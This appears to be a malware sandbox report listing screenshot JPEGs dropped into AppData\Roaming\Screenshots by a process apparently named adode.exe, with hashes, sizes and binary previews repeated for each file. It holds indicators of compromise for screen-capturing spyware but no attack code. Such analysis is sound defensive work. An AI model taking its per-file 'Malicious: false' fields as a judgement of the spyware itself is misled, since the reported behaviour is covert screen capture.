Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240625_171321.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240625_204344.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240628_081441.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240628_145629.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240628_211435.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240629_031946.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240629_085414.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240629_150303.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240702_000245.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240702_074803.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240702_132609.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240702_172501.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152824
Entropy (8bit):	7.924856317096302
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5:7HM9tZj6BvNuHwpLyaG2T
MD5:	1B503203744530DCA29991A7C7EF553F
SHA1:	B97C775BE32BAD9C01ED1E8BDCE74AABF8796680
SHA-256:	BF742FFB1536DD87D95A21E660B4D8C6C54A326F9DC30A56901823AA1394850D
SHA-512:	D04B58BFC66AB5CEE441EECF77B771605BF35C7762FE0675876BBBB2D1AEA5906D1918280883F0A3BC5D695BFBAD1A85E9859762436FADCFA654EE66A0A5F24A
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240703_003846.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240703_062345.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240703_111935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240703_161419.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

